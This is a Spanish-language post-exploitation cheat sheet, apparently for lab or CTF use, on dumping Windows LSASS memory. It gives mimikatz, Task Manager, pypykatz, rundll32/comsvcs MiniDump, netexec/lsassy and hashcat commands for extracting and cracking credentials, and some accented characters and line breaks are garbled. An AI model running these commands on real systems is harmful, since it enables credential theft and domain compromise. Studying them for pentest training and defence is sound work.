LSASS
Introduction
El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las polÃticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crÃtico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.

Dumping LSASS
Mimikatz
En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.
privilege::debug sekurlsa::logonpasswordsTask Manager
Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.

Se nos creará un archivo lsass.DMP que nos pasaremos a nuestra máquina en local para extraer las credenciales tal y como se muestra en Using Pypykatz to Extract Credentials

Using Pypykatz to Extract Credentials
En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.
file lsass.DMP
pypykatz lsa minidump lsass.DMPRundll32.exe & Comsvcs.dll Method
El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de lÃnea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la lÃnea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.
Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:
Finding LSASS PID in cmd
Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.
C:\Windows\system32> tasklist /svc | findstr lsass.exe
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
svchost.exe 776 PlugPlay
svchost.exe 804 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 812 N/AFinding LSASS PID in PowerShell
Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.
PS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsassUna vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.
PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp fullNetExec
De manera remota podemos hacer un dump del LSASS a través de netexec.
nxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassynxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassynxc smb dc.dominio.htb --use-kcache -M lsassyLsassy
lsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10Cracking the NT Hash with hashcat
echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txthashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txtReferences
Enlaces utilizados:
Última actualización
¿Te fue útil?